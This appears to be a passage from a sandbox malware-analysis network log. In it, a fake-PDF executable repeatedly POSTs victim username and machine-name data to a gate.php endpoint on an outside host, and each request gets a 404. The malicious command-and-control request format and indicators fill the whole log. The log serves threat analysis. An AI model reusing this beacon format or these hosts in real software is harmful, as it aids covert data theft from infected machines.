Dec 3, 2020 10:03:42.144725084 CET	4704	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:42.191509962 CET	4704	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:59 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.3	49920	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:42.798963070 CET	4705	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:42.815699100 CET	4705	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:42.862196922 CET	4705	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:00 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.3	49921	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:43.096434116 CET	4706	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:43.113145113 CET	4707	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:43.192491055 CET	4707	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:00 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.3	49922	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:43.408715963 CET	4708	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:43.425293922 CET	4708	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:43.473149061 CET	4708	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:00 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.3	49923	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:43.685041904 CET	4709	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:43.701520920 CET	4709	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:43.770551920 CET	4710	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:00 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.3	49924	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:44.011090994 CET	4710	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:44.027739048 CET	4711	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:44.159611940 CET	4711	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:01 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.3	49925	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:44.400609970 CET	4712	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:44.417494059 CET	4712	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:44.459861040 CET	4712	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:01 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.3	49926	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:44.672941923 CET	4713	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:44.689538956 CET	4713	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:44.739666939 CET	4714	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:01 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.3	49927	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:44.968765974 CET	4714	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:44.985562086 CET	4715	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:45.026278019 CET	4715	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:02 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.3	49928	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:45.253695011 CET	4716	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:45.270554066 CET	4716	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:45.313153028 CET	4716	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:02 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.3	49728	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:36.313062906 CET	90	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:36.329809904 CET	91	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:36.372262955 CET	91	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:53 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.3	49929	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:45.764949083 CET	4717	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:45.781553984 CET	4717	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:45.849649906 CET	4718	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:03 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.3	49930	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:46.322025061 CET	4719	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:46.338753939 CET	4719	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:46.379667044 CET	4719	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:03 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.3	49931	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:46.794392109 CET	4720	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:46.811038017 CET	4720	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:46.855204105 CET	4720	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:04 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.3	49932	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:47.319622040 CET	4721	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:47.336422920 CET	4722	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:47.379466057 CET	4722	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:04 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.3	49933	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:47.887303114 CET	4723	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:47.904119968 CET	4723	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:47.950901031 CET	4723	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:05 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.3	49934	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:48.444667101 CET	4724	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:48.461489916 CET	4724	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:48.504371881 CET	4725	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:05 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.3	49935	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:48.999385118 CET	4726	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:49.016280890 CET	4727	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:49.146349907 CET	4727	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:06 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.3	49936	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:49.389664888 CET	4728	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:49.406409979 CET	4728	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:49.483880043 CET	4728	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:06 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.3	49937	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:49.706676960 CET	4729	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:49.723261118 CET	4729	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:49.772139072 CET	4730	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:07 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.3	49938	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:50.340955019 CET	4730	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:50.357599974 CET	4731	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:50.486013889 CET	4731	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:06:07 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49711	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:29.611012936 CET	67	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
